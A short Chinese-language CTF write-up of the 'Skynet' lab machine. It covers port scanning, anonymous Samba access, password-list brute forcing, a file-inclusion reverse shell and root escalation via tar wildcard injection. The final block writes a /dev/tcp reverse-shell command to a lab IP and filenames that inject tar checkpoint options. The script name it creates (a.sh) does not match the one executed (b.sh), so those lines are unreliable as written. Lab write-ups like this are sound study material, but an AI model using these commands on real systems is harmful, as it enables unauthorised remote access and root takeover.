Skynet
扫一下端口。

44 80 22 等端口开放,看下80端口。
扫下后台找到登录的地方,尝试爆破密码,结果没结果。
回到445端口,利用enum4linux探测一下samba服务。

用smbclient 去登录anonymous 这个是无密码的。
进入logs下有三个日志文件。

利用more命令进行查看。
只有log1.txt里面有文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| cyborg007haloterminator terminator22596 terminator219 terminator20 terminator1989 terminator1988 terminator168 terminator16 terminator143 terminator13 terminator123!@# terminator1056 terminator101 terminator10 terminator02 terminator00 roboterminator pongterminator manasturcaluterminator exterminator95 exterminator200 dterminator djxterminator dexterminator determinator cyborg007haloterminator avsterminator alonsoterminator Walterminator 79terminator6 1996terminator
|
可能是字典?试一下。
管理员名字并不是admin 而是 Miles Dyson

得到密码之后登录。
在邮件里面找到milesdyson的smb登录密码。
1
| smbclient //10.10.50.223/milesdyson -U milesdyson
|
然后找到了下面这个
1 2 3
| 1. Add features to beta CMS /45kra24zxs28v3yd 2. Work on T-800 Model 101 blueprints 3. Spend more time with my wife
|
去访问一下/45kra24zxs28v3yd
发现没啥东西,后台扫一下。能扫到又是一个新的cms.
找到一个文件包含漏洞,在本地写一个shell,然后去包含一下,进行一个反弹shell.

下面就是提权了。
就是一个计划任务提权

我想的是修改backup.sh 以root身份运行,但是这个backup.sh没权限操作。
这里看了一下wp 说是tar通配符注入进行提权。
就是不合理使用*(通配符),从而导致攻击者可以利用这个来进行提权。

这个sh文件要执行的是切换到web服务器根目录下,将当前所有的文件和文件夹打包到指定的压缩包里面。
1 2 3 4
| cd /var/www/html echo "sh -i >& /dev/tcp/10.14.74.6/4444 0>&1" > a.sh echo "" > "--checkpoint-action=exec=bash b.sh" echo "" > --checkpoint=1
|

参考文章:
https://www.freebuf.com/articles/system/176255